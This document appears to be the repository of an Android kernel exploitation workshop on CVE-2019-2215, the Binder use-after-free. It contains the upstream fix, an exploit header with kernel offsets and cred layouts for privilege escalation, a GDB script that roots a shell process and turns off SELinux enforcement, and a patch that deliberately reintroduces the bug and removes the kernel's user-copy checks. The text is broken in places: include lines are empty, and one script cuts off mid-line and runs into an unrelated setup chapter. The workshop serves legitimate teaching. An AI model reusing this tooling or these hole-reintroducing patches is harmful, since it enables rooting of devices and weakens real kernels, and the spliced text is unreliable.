f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream. 41 | 42 | binder_poll() passes the thread->wait waitqueue that 43 | can be slept on for work. When a thread that uses 44 | epoll explicitly exits using BINDER_THREAD_EXIT, 45 | the waitqueue is freed, but it is never removed 46 | from the corresponding epoll data structure. When 47 | the process subsequently exits, the epoll cleanup 48 | code tries to access the waitlist, which results in 49 | a use-after-free. 50 | 51 | Prevent this by using POLLFREE when the thread exits. 52 | 53 | Signed-off-by: Martijn Coenen 54 | Reported-by: syzbot 55 | Signed-off-by: Greg Kroah-Hartman 56 | 57 | diff --git a/drivers/android/binder.c b/drivers/android/binder.c 58 | index a340766b51fe..2ef8bd29e188 100644 59 | --- a/drivers/android/binder.c 60 | +++ b/drivers/android/binder.c 61 | @@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc, 62 | if (t) 63 | spin_lock(&t->lock); 64 | } 65 | + 66 | + /* 67 | + * If this thread used poll, make sure we remove the waitqueue 68 | + * from any epoll data structures holding it with POLLFREE. 69 | + * waitqueue_active() is safe to use here because we're holding 70 | + * the inner lock. 71 | + */ 72 | + if ((thread->looper & BINDER_LOOPER_STATE_POLL) && 73 | + waitqueue_active(&thread->wait)) { 74 | + wake_up_poll(&thread->wait, POLLHUP | POLLFREE); 75 | + } 76 | + 77 | binder_inner_proc_unlock(thread->proc); 78 | 79 | if (send_reply) 80 | ``` 81 | 82 | 83 | > **Note:** You won't be able to see this commit history because we did a shallow clone. However, I have a **full** clone of the `q-goldfish-android-goldfish-4.14-dev` branch. 84 | -------------------------------------------------------------------------------- /exploit/common.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | ## # # ### ### ### # ### ### ### # ### 4 | # # # # # # # ## # # # # ## # 5 | # # # ## ### ### # # # ### ### ### ### # ### 6 | # # # # # # # # # # # # # 7 | ## # ### ### ### ### ### ### ### ### ### 8 | @HackSysTeam 9 | 10 | CVE-2019-2215 11 | Android Binder Use after Free 12 | CloudFuzz TechnoLabs Pvt. Ltd. 13 | 14 | https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ 15 | https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 16 | https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html 17 | 18 | Thanks: 19 | @maddiestone 20 | @tehjh 21 | 22 | --*/ 23 | 24 | #pragma once 25 | 26 | #ifndef __COMMON_H__ 27 | #define __COMMON_H__ 28 | 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | 44 | 45 | /** 46 | * Defines 47 | */ 48 | 49 | #define BANNER \ 50 | " \n" \ 51 | " ## # # ### ### ### # ### ### ### # ### \n" \ 52 | " # # # # # # # ## # # # # ## # \n" \ 53 | " # # # ## ### ### # # # ### ### ### ### # ### \n" \ 54 | " # # # # # # # # # # # # # \n" \ 55 | " ## # ### ### ### ### ### ### ### ### ### \n" \ 56 | " @HackSysTeam \n" \ 57 | " \n" 58 | 59 | #define INFO(...) printf(__VA_ARGS__) 60 | #define ERR(...) printf(__VA_ARGS__) 61 | 62 | 63 | #define OFFSET_TASK_STRUCT_ADDR_LIMIT 0xA18 64 | 65 | #define GLOBAL_ROOT_UID (uint32_t)0 66 | #define GLOBAL_ROOT_GID (uint32_t)0 67 | #define SECUREBITS_DEFAULT (uint32_t)0x00000000 68 | #define CAP_EMPTY_SET (uint64_t)0 69 | #define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF 70 | 71 | 72 | /** 73 | * System.map 74 | * 75 | * ffffffff80200000 T _stext 76 | * ffffffff816acfe8 B selinux_enforcing 77 | * ffffffff81433ac0 D init_nsproxy 78 | */ 79 | 80 | // 81 | // offset = 0xffffffff81433ac0 - 0xffffffff80200000 82 | // 83 | 84 | #define SYMBOL_OFFSET_init_nsproxy (ptrdiff_t)0x1233ac0 85 | 86 | // 87 | // I have found that this offset changes every compile. 88 | // If the exploit fails in patching selinux_enforcing, 89 | // try updating this offset 90 | // 91 | 92 | #define SYMBOL_OFFSET_selinux_enforcing (ptrdiff_t)0x14acfe8 93 | 94 | 95 | /** 96 | * Data structures 97 | */ 98 | 99 | struct binder_thread { 100 | uint8_t junk1[160]; /* 0 0xa0 */ 101 | uint8_t wait[24]; /* 0xa0 0x18 */ 102 | uint8_t junk2[224]; /* 0xb8 0xe0 */ 103 | } __attribute__((packed)); /* size: 0x198 */ 104 | 105 | 106 | struct task_struct { 107 | uint8_t junk1[1256]; /* 0 0x4e8 */ 108 | pid_t pid; /* 0x4e8 0x4 */ 109 | uint8_t junk2[412]; /* 0x4ec 0x19c */ 110 | uint64_t cred; /* 0x688 0x8 */ 111 | uint8_t junk3[48]; /* 0x690 0x30 */ 112 | uint64_t nsproxy; /* 0x6c0 0x8 */ 113 | uint8_t junk4[1944]; /* 0x6c8 0x798 */ 114 | } __attribute__((packed)); /* size: 0xe60 */ 115 | 116 | 117 | struct cred { 118 | int32_t usage; /* 0 0x4 */ 119 | uint32_t uid; /* 0x4 0x4 */ 120 | uint32_t gid; /* 0x8 0x4 */ 121 | uint32_t suid; /* 0xc 0x4 */ 122 | uint32_t sgid; /* 0x10 0x4 */ 123 | uint32_t euid; /* 0x14 0x4 */ 124 | uint32_t egid; /* 0x18 0x4 */ 125 | uint32_t fsuid; /* 0x1c 0x4 */ 126 | uint32_t fsgid; /* 0x20 0x4 */ 127 | uint32_t securebits; /* 0x24 0x4 */ 128 | uint64_t cap_inheritable; /* 0x28 0x8 */ 129 | uint64_t cap_permitted; /* 0x30 0x8 */ 130 | uint64_t cap_effective; /* 0x38 0x8 */ 131 | uint64_t cap_bset; /* 0x40 0x8 */ 132 | uint64_t cap_ambient; /* 0x48 0x8 */ 133 | uint8_t junk2[40]; /* 0x50 0x28 */ 134 | void *security; /* 0x78 0x8 */ 135 | uint8_t junk3[40]; /* 0x80 0x28 */ 136 | } __attribute__((packed)); /* size: 0xA8 */ 137 | 138 | #endif //__COMMON_H__ 139 | -------------------------------------------------------------------------------- /gdb/dynamic-analysis.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # ##### ####### 4 | # # # # #### # # ##### # # # ###### ###### 5 | # # # # # # # # # # # # # # 6 | # # # # # # # # # ##### # # # # 7 | # # # # # # # # # # # # # # 8 | # # # # # # # # # # # # # # # 9 | # ##### ###### #### #### ##### # #### ###### ###### 10 | # @HackSysTeam 11 | # 12 | 13 | import gdb 14 | 15 | 16 | def get_current_task(): 17 | per_cpu_offset = gdb.parse_and_eval("__per_cpu_offset[0]") 18 | current_task_offset = gdb.parse_and_eval("current_task").address 19 | 20 | current_task = gdb.parse_and_eval( 21 | "*(struct task_struct *)*(long *){0}".format( 22 | long(per_cpu_offset) + long(current_task_offset)) 23 | ) 24 | return current_task 25 | 26 | 27 | def get_current_proc_comm(): 28 | current_task = get_current_task() 29 | return current_task["comm"].string() 30 | 31 | 32 | binder_thread_address = None 33 | 34 | def set_dump_binder_thread(parameters): 35 | global binder_thread_address 36 | 37 | binder_thread_address = parameters["thread"] 38 | gdb.execute("x/51gx {0}".format(binder_thread_address)) 39 | gdb.write("\n") 40 | 41 | 42 | def dump_binder_thread(parameters): 43 | if not binder_thread_address: 44 | return 45 | 46 | if long(binder_thread_address) + 0xA0 == parameters["wq_head"]: 47 | gdb.execute("x/51gx {0}".format(binder_thread_address)) 48 | gdb.write("\n") 49 | 50 | 51 | class EnterBp(gdb.Breakpoint): 52 | def __init__( 53 | self, proc_cmd, entry_symbol, param_list=[], 54 | exit_symbol=None, break_at_entry=False, entry_callback=None, 55 | break_at_exit=False, exit_callback=None, set_exit_bp = False 56 | ): 57 | super(EnterBp, self).__init__(entry_symbol) 58 | 59 | self.silent = True 60 | self.proc_cmd = proc_cmd 61 | self.function_name = entry_symbol 62 | self.function_params = param_list 63 | self.exit_symbol = exit_symbol 64 | self.break_at_entry = break_at_entry 65 | self.entry_callback = entry_callback 66 | self.break_at_exit = break_at_exit 67 | self.exit_callback = exit_callback 68 | self.set_exit_bp = set_exit_bp 69 | self.exit_bp_already_set = False 70 | self.parameter = {} 71 | 72 | def stop(self): 73 | is_right_process = False 74 | 75 | if self.proc_cmd in get_current_proc_comm(): 76 | is_right_process = True 77 | 78 | if not is_right_process: 79 | return False 80 | 81 | for i, param_name in enumerate(self.function_params): 82 | self.parameter[param_name] = gdb.newest_frame().read_var(param_name) 83 | 84 | # build the parameter value list 85 | params = "" 86 | param_length = len(self.parameter) 87 | 88 | for i, (key, value) in enumerate(self.parameter.items()): 89 | tmp = "{key}={value}".format(key=key, value=value) 90 | params += tmp 91 | 92 | if not i == param_length - 1: 93 | params += ", " 94 | 95 | # print the function name and the parameters with their values 96 | gdb.write( 97 | "{function}({param})(enter)\n".format( 98 | function=self.function_name, param=params 99 | ) 100 | ) 101 | 102 | # call the entry callback 103 | if self.entry_callback: 104 | self.entry_callback(self.parameter) 105 | 106 | # set the exit breakpoint 107 | if self.set_exit_bp and not self.exit_bp_already_set: 108 | ExitBp( 109 | proc_cmd=self.proc_cmd, entry_symbol=self.function_name, 110 | exit_symbol=self.exit_symbol, params=self.parameter, 111 | break_at_exit=self.break_at_exit, exit_callback=self.exit_callback 112 | ) 113 | self.exit_bp_already_set = True 114 | 115 | # should we break in debugger 116 | return self.break_at_entry 117 | 118 | 119 | class ExitBp(gdb.Breakpoint): 120 | def __init__( 121 | self, proc_cmd, entry_symbol, exit_symbol, params={}, 122 | break_at_exit=False, exit_callback=None, 123 | ): 124 | super(ExitBp, self).__init__(exit_symbol) 125 | 126 | self.silent = True 127 | self.proc_cmd = proc_cmd 128 | self.entry_symbol = entry_symbol 129 | self.exit_symbol = exit_symbol 130 | self.parameter = params 131 | self.break_at_exit = break_at_exit 132 | self.exit_callback = exit_callback 133 | 134 | def stop(self): 135 | is_right_process = False 136 | 137 | if self.proc_cmd in get_current_proc_comm(): 138 | is_right_process = True 139 | 140 | if not is_right_process: 141 | return False 142 | 143 | gdb.write( 144 | "{entry}_{exit}(exit)\n".format( 145 | entry=self.entry_symbol, exit=self.exit_symbol 146 | ) 147 | ) 148 | 149 | # call the entry callback 150 | if self.exit_callback: 151 | self.exit_callback(self.parameter) 152 | 153 | return self.break_at_exit 154 | 155 | 156 | # clear all prior breakpoints 157 | gdb.execute("delete") 158 | 159 | # 160 | # list of breakpoints 161 | # 162 | 163 | # before binder_thread is freed 164 | EnterBp( 165 | proc_cmd="cve-2019-2215", entry_symbol="binder_free_thread", 166 | param_list=["thread"], exit_symbol=None, break_at_entry=False, 167 | entry_callback=set_dump_binder_thread, break_at_exit=False, 168 | exit_callback=None, set_exit_bp=False 169 | ) 170 | 171 | # before and after the unlink operation happens 172 | # entry_symbol = remove_wait_queue 173 | # exit_symbol = wait.c:52 174 | EnterBp( 175 | proc_cmd="cve-2019-2215", entry_symbol="remove_wait_queue", 176 | param_list=["wq_head", "wq_entry"], exit_symbol="wait.c:52", 177 | break_at_entry=False, entry_callback=dump_binder_thread, 178 | break_at_exit=False, exit_callback=dump_binder_thread, 179 | set_exit_bp=True 180 | ) 181 | -------------------------------------------------------------------------------- /gdb/root-me.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import gdb 4 | import struct 5 | 6 | 7 | # 8 | # https://github.com/torvalds/linux/tree/master/scripts/gdb 9 | # 10 | 11 | def offset_of(typeobj, field): 12 | element = gdb.Value(0).cast(typeobj) 13 | return int(str(element[field].address).split()[0], 16) 14 | 15 | 16 | def container_of(ptr, typeobj, member): 17 | return (ptr.cast(gdb.lookup_type("long")) - offset_of(typeobj, member)).cast(typeobj) 18 | 19 | 20 | def task_lists(): 21 | task_ptr_type = gdb.lookup_type("struct task_struct").pointer() 22 | init_task = gdb.parse_and_eval("init_task").address 23 | t = g = init_task 24 | 25 | while True: 26 | while True: 27 | yield t 28 | 29 | t = container_of(t["thread_group"]["next"], 30 | task_ptr_type, "thread_group") 31 | if t == g: 32 | break 33 | 34 | t = g = container_of(g["tasks"]["next"], task_ptr_type, "tasks") 35 | if t == init_task: 36 | return 37 | 38 | 39 | def get_task_by_pid(pid): 40 | for task in task_lists(): 41 | if int(task["pid"]) == pid: 42 | return task 43 | return None 44 | 45 | 46 | def read32(address): 47 | return struct.unpack(" 34 | This is free software: you are free to change and redistribute it. 35 | There is NO WARRANTY, to the extent permitted by law. 36 | 37 | ashfaq@hacksys:~$ gdb -quiet 38 | GEF for linux ready, type `gef' to start, `gef config' to configure 39 | 77 commands loaded for GDB 8.2 using Python engine 2.7 40 | [*] 3 commands could not be loaded, run `gef missing` to know why. 41 | gef> py 42 | >import sys 43 | >print sys.version_info 44 | >end 45 | sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0) 46 | gef> q 47 | 48 | ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python 49 | 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0] 50 | 51 | ashfaq@hacksys:~$ python --version 52 | Python 2.7.17 53 | ``` 54 | 55 | If **GDB** is not installed in your system, please make sure to install it with **python 2.7** support. 56 | 57 | 58 | ### Workshop Repository {#workshop-repository} 59 | 60 | Open a terminal window and type the below given command to **clone** the **workshop** repository. 61 | 62 | ```bash 63 | ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop 64 | ``` 65 | 66 | 67 | ### Android Studio {#android-studio} 68 | 69 | Installation instruction for **Android Studio** can be found here https://developer.android.com/studio/install 70 | 71 | Once **Android Studio** is installed, make sure to add `~/Android/Sdk/platform-tools` and `~/Android/Sdk/emulator` to your `PATH` environment variable. This will allow as to access `adb` and `emulator` command without specifying the complete path. 72 | 73 | 74 | ### Android NDK {#android-ndk} 75 | 76 | Installation instruction for **Android NDK** can be found here https://developer.android.com/studio/projects/install-ndk 77 | 78 |

79 | Android Studio 80 |

81 | 82 |

83 | Configure Menu 84 |

85 | 86 |

87 | NDK Version 88 |

89 | 90 | > I'm currently using **Android NDK** version: **21.0.6113669**. However, the latest version of the **Android NDK** should be fine. 91 | 92 | 93 | ### Android Virtual Device {#android-virtual-device} 94 | 95 | For this workshop, we are going to use **Android 10.0 (Q)** `Google Play Intel x86 Atom_64 System Image`. 96 | 97 |

98 | Android System Image 99 |

100 | 101 | Once you have downloaded the **system image**, we will have to create a **Virtual Device**. 102 | 103 |

104 | AVD Main Window 105 |

106 | 107 |

108 | AVD Device Definition 109 |

110 | 111 |

112 | AVD System Image 113 |

114 | 115 |

116 | AVD Configuration Verification 117 |

118 | 119 |

120 | AVD Device List 121 |

122 | 123 |

124 | Android Emulator 125 |

126 | 127 | You can also launch the virtual device that we created from the command line. 128 | 129 | ```bash 130 | ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215 131 | ``` 132 | 133 | 134 | ### Android Kernel Source Code {#android-kernel-source-code} 135 | 136 | **Android** is powered by **Linux** kernel. For this workshop, we are going to use `q-goldfish-android-goldfish-4.14-dev` branch of the Android kernel source repository. 137 | 138 | 139 | > **Note:** For more information on building custom kernels for Android visit https://source.android.com/setup/build/building-kernels 140 | 141 | 142 | Google suggests to use `repo` for *synchronizing* the kernel source tree. Read more about `repo` here: https://gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md 143 | 144 | Once `repo` has been installed, you can now start *synchronizing* the kernel source tree. This will also download the necessary build tools. 145 | 146 | We do not want to download the repository with all the commit history and different branches. So, we will do a *shallow* clone. 147 | 148 | Currently, I'm on [`182a76ba7053af521e4c0d5fd62134f1e323191d`](https://android.googlesource.com/kernel/goldfish/+log/182a76ba7053af521e4c0d5fd62134f1e323191d) *commit id* and `repo` command does not allow us to specify a *commit id* to clone from command line. So, I have created a **custom manifest** file that we will replace after the `repo` has been initialized. 149 | 150 | ```xml 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | ``` 164 | 165 | The only change I did in this custom manifest was to specify the *commit hash* in the revision attribute instead of branch name. 166 | 167 | ```diff 168 | 6c6 169 | < 170 | --- 171 | > 172 | ``` 173 | 174 | 175 | > **Note:** It will take around **12 GB** of disk space, so make sure you have enough *space* on the machine before running the below commands. 176 | 177 | 178 | ```bash 179 | ashfaq@hacksys:~$ mkdir ~/workshop 180 | ashfaq@hacksys:~$ cd workshop/ 181 | ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev 182 | ashfaq@hacksys:~/workshop$ cd android-4.14-dev/ 183 | ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev 184 | ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/ 185 | ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc` 186 | ``` 187 | 188 | Once the source tree has been *synchronized*, we are good to proceed with the workshop. 189 | -------------------------------------------------------------------------------- /gitbook/chapters/scripted-privilege-escalation.md: -------------------------------------------------------------------------------- 1 | # Scripted Privilege Escalation 2 | 3 | Before moving to **[Root Cause Analysis](root-cause-analysis.md)** chapter, let's first see how we can achieve **privilege escalation** using custom **GDB** script. 4 | 5 | In **[Build Kernel](vulnerability-trigger.md#build-kernel)** and **[Boot Kernel](vulnerability-trigger.md#boot-kernel)**, you learned how to **build** and **boot** a custom kernel in **emulator**. 6 | 7 | **GDB** supports python scripting, let's see how we can use python for **debugging automation**. 8 | 9 | 10 | ## Kernel Debugging {#kernel-debugging} 11 | 12 | **emulator** uses `qemu` in the background and it supports **gdbserver** known as **gdbstub**. We can use it to do **kernel debugging**, if we have the `vmlinux` file for the corresponding kernel. 13 | 14 | Let's boot the custom kernel that we built, but this time, with **gdbstub** enabled. For this we will need two terminal windows. 15 | 16 | In the first window, we will run the **emulator** with **gdbstub** enabled. 17 | 18 | ```bash 19 | ashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/kasan/dist/bzImage -qemu -s -S 20 | ``` 21 | 22 | 23 | > **Note:** `-qemu` arguments states that the next parameters will be passed to underlying `qemu` emulator. `-s` argument is for `qemu` which is a shorthand for `-gdb tcp::1234`. `-S` argument makes `qemu` to wait for the debugger to connect. 24 | 25 | 26 | In the second window, we will use **GDB** to attach to the `qemu` instance. 27 | 28 | ```bash 29 | ashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/kasan/dist/vmlinux -ex 'target remote :1234' 30 | ``` 31 | 32 | ``` 33 | GEF for linux ready, type `gef' to start, `gef config' to configure 34 | 77 commands loaded for GDB 8.2 using Python engine 2.7 35 | [*] 3 commands could not be loaded, run `gef missing` to know why. 36 | Reading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done. 37 | Remote debugging using :1234 38 | warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml" 39 | warning: Could not load XML target description; ignoring 40 | 0x000000000000fff0 in exception_stacks () 41 | gef> c 42 | Continuing. 43 | ``` 44 | 45 | Once the **Android** is booted completely, we can open the third terminal window and launch `adb` shell. 46 | 47 | ```bash 48 | ashfaq@hacksys:~/workshop$ adb shell 49 | generic_x86_64:/ $ uname -a 50 | Linux localhost 4.14.150+ #1 repo:q-goldfish-android-goldfish-4.14-dev SMP PREEMPT Sat Apr x86_64 51 | generic_x86_64:/ $ id 52 | uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 53 | generic_x86_64:/ $ 54 | generic_x86_64:/ $ dmesg 55 | dmesg: klogctl: Permission denied 56 | 1|generic_x86_64:/ $ 57 | 1|generic_x86_64:/ $ pidof sh 58 | 7474 59 | generic_x86_64:/ $ 60 | ``` 61 | 62 | In the `adb` shell window, we can see that currently we are running with `uid=2000(shell) gid=2000(shell)` and does not have rights to see `dmesg`. To read `dmesg`, we will need **root** privileges. 63 | 64 | `pidof sh` is `7474`, our goal is to use **kernel debugging** with **GDB** automation to do privilege escalation and give the **root** privileges to this `sh` process. 65 | 66 | Now, in the **GDB** window press **CTRL+C** to break in **GDB** so that we can issue some commands. 67 | 68 | You can find `root-me.py` which is an automation built on top of `GDB` python scripting in `~/workshop/gdb`. 69 | 70 | ```py 71 | # -*- coding: utf-8 -*- 72 | 73 | import gdb 74 | import struct 75 | 76 | [...] 77 | 78 | def write32(address, value): 79 | gdb.selected_inferior().write_memory(address, struct.pack(" c 160 | Continuing. 161 | ^C 162 | Thread 1 received signal SIGINT, Interrupt. 163 | native_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61 164 | 61 } 165 | gef> source ~/workshop/gdb/root-me.py 166 | gef> root-by-pid 7474 167 | [+] Rooting 168 | [*] PID: 0x1d32 169 | [*] Cmd: sh 170 | [*] Task: 0xffff888033521d40 171 | [+] Patching cred 172 | [*] Cred: 0xffff8880580f1480 173 | [+] Patching selinux_enforcing 174 | [*] selinux_enforcing: 0xffffffff82b34028 175 | [*] Rooting complete 176 | gef> c 177 | Continuing. 178 | ``` 179 | 180 | Let's verify if `sh` process is having **root** privileges. 181 | 182 | ```bash 183 | generic_x86_64:/ $ dmesg 184 | dmesg: klogctl: Permission denied 185 | 1|generic_x86_64:/ $ 186 | 1|generic_x86_64:/ $ id 187 | uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0 188 | generic_x86_64:/ $ 189 | generic_x86_64:/ $ dmesg | head 190 | [ 34.036876] apexd: Scanning /product/apex for embedded keys 191 | [ 34.037889] apexd: ... does not exist. Skipping 192 | [ 34.038743] apexd: Populating APEX database from mounts... 193 | [ 34.040108] apexd: Failed to walk /product/apex : Can't open /product/apex for reading : No such file or directory 194 | [ 34.042497] apexd: Found "/apex/com.android.tzdata@290000000" 195 | [ 34.043586] apexd: Found "/apex/com.android.runtime@1" 196 | [ 34.044542] apexd: 2 packages restored. 197 | [ 34.054885] type=1400 audit(1586624810.629:5): avc: denied { getattr } for comm="ls" path="/data/misc" dev="vdc" ino=13 scontext=u:r:toolbox:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 198 | [ 34.057660] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 199 | [ 34.073716] type=1400 audit(1586624810.659:6): avc: denied { ioctl } for comm="init" path="/data/vendor" dev="vdc" ino=21 ioctlcmd=0x6615 scontext=u:r:init:s0 tcontext=u:object_r:unlabeled:s0 tclass=dir permissive=0 200 | ``` 201 | 202 | Awesome, **privilege escalation** is successful and we are going to achieve the same thing using a **kernel vulnerability**. 203 | -------------------------------------------------------------------------------- /gitbook/chapters/vulnerability-trigger.md: -------------------------------------------------------------------------------- 1 | # Vulnerability Trigger 2 | 3 | In **[Android Kernel Source Code](environment-setup.md#android-kernel-source-code)** section, we *synchronized* `q-goldfish-android-goldfish-4.14-dev` branch. However, `CVE-2019-2215` is already patched in `q-goldfish-android-goldfish-4.14-dev`. 4 | 5 | We will **reintroduce** the **vulnerability** by applying a custom *patch* and then build it with **Kernel Address Sanitizer (KASan)** support. 6 | 7 | 8 | ## Reintroduction {#reintroduction} 9 | 10 | You can find the custom *patch* in the `workshop/patch` directory which will **reintroduce** the vulnerability again. 11 | 12 | ```diff 13 | diff --git a/drivers/android/binder.c b/drivers/android/binder.c 14 | index f6ddec245187..55e2748a13e4 100644 15 | --- a/drivers/android/binder.c 16 | +++ b/drivers/android/binder.c 17 | @@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc, 18 | * waitqueue_active() is safe to use here because we're holding 19 | * the inner lock. 20 | */ 21 | + /* 22 | if ((thread->looper & BINDER_LOOPER_STATE_POLL) && 23 | waitqueue_active(&thread->wait)) { 24 | wake_up_poll(&thread->wait, POLLHUP | POLLFREE); 25 | } 26 | + */ 27 | 28 | binder_inner_proc_unlock(thread->proc); 29 | 30 | @@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc, 31 | * descriptor being closed); ep_remove_waitqueue() holds an RCU read 32 | * lock, so we can be sure it's done after calling synchronize_rcu(). 33 | */ 34 | + /* 35 | if (thread->looper & BINDER_LOOPER_STATE_POLL) 36 | synchronize_rcu(); 37 | + */ 38 | 39 | if (send_reply) 40 | binder_send_failed_reply(send_reply, BR_DEAD_REPLY); 41 | diff --git a/lib/iov_iter.c b/lib/iov_iter.c 42 | index 7b2fd5f251f2..67af61637f55 100644 43 | --- a/lib/iov_iter.c 44 | +++ b/lib/iov_iter.c 45 | @@ -132,19 +132,21 @@ 46 | 47 | static int copyout(void __user *to, const void *from, size_t n) 48 | { 49 | - if (access_ok(VERIFY_WRITE, to, n)) { 50 | + /*if (access_ok(VERIFY_WRITE, to, n)) { 51 | kasan_check_read(from, n); 52 | n = raw_copy_to_user(to, from, n); 53 | - } 54 | + }*/ 55 | + n = raw_copy_to_user(to, from, n); 56 | return n; 57 | } 58 | 59 | static int copyin(void *to, const void __user *from, size_t n) 60 | { 61 | - if (access_ok(VERIFY_READ, from, n)) { 62 | + /*if (access_ok(VERIFY_READ, from, n)) { 63 | kasan_check_write(to, n); 64 | n = raw_copy_from_user(to, from, n); 65 | - } 66 | + }*/ 67 | + n = raw_copy_from_user(to, from, n); 68 | return n; 69 | } 70 | 71 | 72 | ``` 73 | 74 | Let's apply the *patch* and see which files are modified. 75 | 76 | ```bash 77 | ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/ 78 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status 79 | Not currently on any branch. 80 | nothing to commit, working tree clean 81 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch 82 | ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status 83 | Not currently on any branch. 84 | Changes not staged for commit: 85 | (use "git add ..." to update what will be committed) 86 | (use "git checkout -- ..." to discard changes in working directory) 87 | 88 | modified: drivers/android/binder.c 89 | modified: lib/iov_iter.c 90 | 91 | no changes added to commit (use "git add" and/or "git commit -a") 92 | ``` 93 | 94 | Patching `drivers/android/binder.c` is fine and understandable. But, why we need to *patch* `lib/iov_iter.c`? 95 | 96 | This is because we are also going to use `struct iovec` as the corruption target as used by **Maddie Stone** and **Jann Horn** of **Project Zero**. However, they wrote the exploit for **Android 4.4** kernel which does not have these **additional checks** in `lib/iov_iter.c`. 97 | 98 | That's the reason we revert these new checks with a *patch*. You will have better idea what I'm talking about as we proceed with the workshop. 99 | 100 | 101 | ## Build Kernel With KASan {#build-kernel-with-kasan} 102 | 103 | To build the kernel with **KASan** support we will need a configuration file. You will find the config file in `workshop/build-configs/goldfish.x86_64.kasan` directory. 104 | 105 | ```bash 106 | ARCH=x86_64 107 | BRANCH=kasan 108 | 109 | CC=clang 110 | CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin 111 | BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 112 | CLANG_TRIPLE=x86_64-linux-gnu- 113 | CROSS_COMPILE=x86_64-linux-androidkernel- 114 | LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin 115 | 116 | KERNEL_DIR=goldfish 117 | EXTRA_CMDS='' 118 | STOP_SHIP_TRACEPRINTK=1 119 | 120 | FILES=" 121 | arch/x86/boot/bzImage 122 | vmlinux 123 | System.map 124 | " 125 | 126 | DEFCONFIG=x86_64_ranchu_defconfig 127 | POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config" 128 | 129 | function update_kasan_config() { 130 | ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ 131 | -e CONFIG_KASAN \ 132 | -e CONFIG_KASAN_INLINE \ 133 | -e CONFIG_TEST_KASAN \ 134 | -e CONFIG_KCOV \ 135 | -e CONFIG_SLUB \ 136 | -e CONFIG_SLUB_DEBUG \ 137 | -e CONFIG_SLUB_DEBUG_ON \ 138 | -d CONFIG_SLUB_DEBUG_PANIC_ON \ 139 | -d CONFIG_KASAN_OUTLINE \ 140 | -d CONFIG_KERNEL_LZ4 \ 141 | -d CONFIG_RANDOMIZE_BASE 142 | (cd ${OUT_DIR} && \ 143 | make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) 144 | } 145 | ``` 146 | 147 | Now, let's use this config file and start the build process. 148 | 149 | ```bash 150 | ashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh 151 | ``` 152 | 153 | You can find the built kernel and other files in `workshop/android-4.14-dev/out/kasan/dist`. 154 | 155 | ```bash 156 | ashfaq@hacksys:~/workshop/android-4.14-dev$ nm out/kasan/dist/vmlinux | grep kasan | head 157 | 000000004cfd027e A __crc_kasan_check_read 158 | 000000009da7c655 A __crc_kasan_check_write 159 | 0000000074961168 A __crc_kasan_kmalloc 160 | 0000000047f78877 A __crc_kasan_restore_multi_shot 161 | 0000000097645739 A __crc_kasan_save_enable_multi_shot 162 | ffffffff806d4d62 T 